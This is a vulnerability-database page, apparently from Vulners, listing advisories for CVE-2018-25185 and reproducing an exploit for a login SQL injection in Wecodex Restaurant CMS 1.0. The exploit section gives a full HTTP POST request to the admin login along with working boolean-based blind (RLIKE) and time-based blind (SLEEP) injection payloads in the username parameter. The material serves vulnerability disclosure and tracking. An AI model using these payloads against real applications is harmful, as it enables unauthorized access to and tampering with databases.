Wecodex Restaurant CMS 1.0 - 'username' SQL Injection (SQLi)
Wecodex Restaurant CMS 1.0 'Login' SQL Injection vulnerability in PHP Dashboard
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2018-25185 | 26 Mar 202611:39 | – | attackerkb | |
| CVE-2018-25185 | 27 Mar 202622:00 | – | circl | |
| Wecodex Restaurant CMS SQL Injection Vulnerability | 26 Mar 202600:00 | – | cnnvd | |
| CVE-2018-25185 | 26 Mar 202611:39 | – | cve | |
| CVE-2018-25185 Wecodex Restaurant CMS 1.0 SQL Injection via Login | 26 Mar 202611:39 | – | cvelist | |
| EUVD-2018-21657 | 26 Mar 202612:30 | – | euvd | |
| CVE-2018-25185 | 26 Mar 202612:16 | – | nvd | |
| PT-2026-28236 | 26 Mar 202600:00 | – | ptsecurity | |
| CVE-2018-25185: Improper Neutralization of Special Elements used in an SQL Command | 26 Mar 202600:00 | – | rapid7 | |
| CVE-2018-25185 Wecodex Restaurant CMS 1.0 SQL Injection via Login | 26 Mar 202611:39 | – | vulnrichment |
# Exploit Title: Wecodex Restaurant CMS 1.0 - 'Login' SQL Injection
# Dork: N/A
# Date: 2018-05-23
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor : Wecodex Solutions
# Vendor Homepage: https://www.wecodex.com/item/view/restaurant-system-in-php-and-mysql/6
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : PHP Dashboards is prone to an SQL-injection vulnerability
# because it fails to sufficiently sanitize user-supplied data before using
# it in an SQL query.Exploiting this issue could allow an attacker to
# compromise the application, access or modify data, or exploit latent
# vulnerabilities in the underlying database.
# PoC : SQLi :
# Demo : https://Target/demos/restaurant/admin/
https://Target/demos/restaurant/admin/index.php?action=processlogin
POST /demos/restaurant/admin/index.php?action=processlogin HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://Target/demos/restaurant/admin/
Cookie: PHPSESSID=6fabn4skieu59mgjn63i4d38u0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
username=admin&password=123456
# Vulnerable Payload :
# Parameter: email (POST)
# Type: boolean-based blind
# Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
# Payload:
username=admin" RLIKE (SELECT (CASE WHEN (7084=7084) THEN
0x61646d696e4061646d696e2e636f6d ELSE 0x28 END)) AND
"eloY"="eloY&password=123456
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
# Payload:
username=admin" AND (SELECT * FROM (SELECT(SLEEP(5)))lzxm) AND
"vZea"="vZea&password=123456Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 3.18.2 - 9.8
CVSS 48.8
EPSS0.00878
SSVC